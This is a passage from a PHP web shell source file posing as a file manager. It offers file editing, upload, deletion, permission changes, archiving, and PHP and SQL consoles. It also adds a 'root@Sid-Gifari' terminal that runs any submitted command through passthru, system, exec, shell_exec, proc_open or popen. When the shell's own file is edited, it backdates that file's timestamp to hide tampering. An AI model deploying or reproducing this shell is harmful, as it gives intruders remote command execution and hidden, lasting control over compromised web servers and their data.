lEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated'); else $msg_ntimes .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg_ntimes .= (__('File updated')); else $msg_ntimes .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg_ntimes .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //quanxian gai bian hou xu yao xi tong chongqi $msg_ntimes = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg_ntimes .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg_ntimes .= __('Error occurred'); } else { fclose($fp); $msg_ntimes .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg_ntimes)){ ?> <tr> <td colspan="2" class="row2"><?=$msg_ntimes?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php session_start(); // List of command execution functions to check $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl']; // Check if any of the functions are enabled (not disabled by disable_functions) $canExecute = false; foreach ($execFunctions as $func) { if (function_exists($func)) { $canExecute = true; break; } } if (!isset($_SESSION['cwd'])) { $_SESSION['cwd'] = getcwd(); } // Update cwd from POST if valid directory if (isset($_POST['path']) && is_dir($_POST['path'])) { $_SESSION['cwd'] = realpath($_POST['path']); } $cwd = $_SESSION['cwd']; $output = ""; if (isset($_POST['terminal'])) { $cmdInput = trim($_POST['terminal-text']); if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) { $dir = trim($matches[1]); if ($dir === '' || $dir === '~') { $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd; } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') { $dir = $cwd . DIRECTORY_SEPARATOR . $dir; } $realDir = realpath($dir); if ($realDir && is_dir($realDir)) { $_SESSION['cwd'] = $realDir; $cwd = $realDir; $output = "Changed directory to " . htmlspecialchars($realDir); } else { $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory"; } } else { if ($canExecute) { chdir($cwd); $cmd = $cmdInput . " 2>&1"; if (function_exists('passthru')) { ob_start(); passthru($cmd); $output = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); $output = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd, $out); $output = implode("\n", $out); } elseif (function_exists('shell_exec')) { $output = shell_exec($cmd); } elseif (function_exists('proc_open')) { // Using proc_open as fallback $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = proc_open($cmd, $descriptorspec, $pipes, $cwd); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $output .= stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); } else { $output = "Failed to execute command via proc_open."; } } elseif (function_exists('popen')) { $handle = popen($cmd, 'r'); if ($handle) { $output = stream_get_contents($handle); pclose($handle); } else { $output = "Failed to execute command via popen."; } } else { $output = "Error: No command execution functions available."; } } else { $output = "Command execution functions are disabled on this server. Terminal is unavailable."; } } } if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']); if (!isset($path)) $path = $cwd; ?> <strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br> <pre><?php echo htmlspecialchars($output); ?></pre> <form method="post" action="<?php echo $url_inc; ?>"> <input type="text" name="terminal-text" size="30" placeholder="Cmd"> <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" /> <input type="submit" name="terminal" value="Execute"> </form> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: 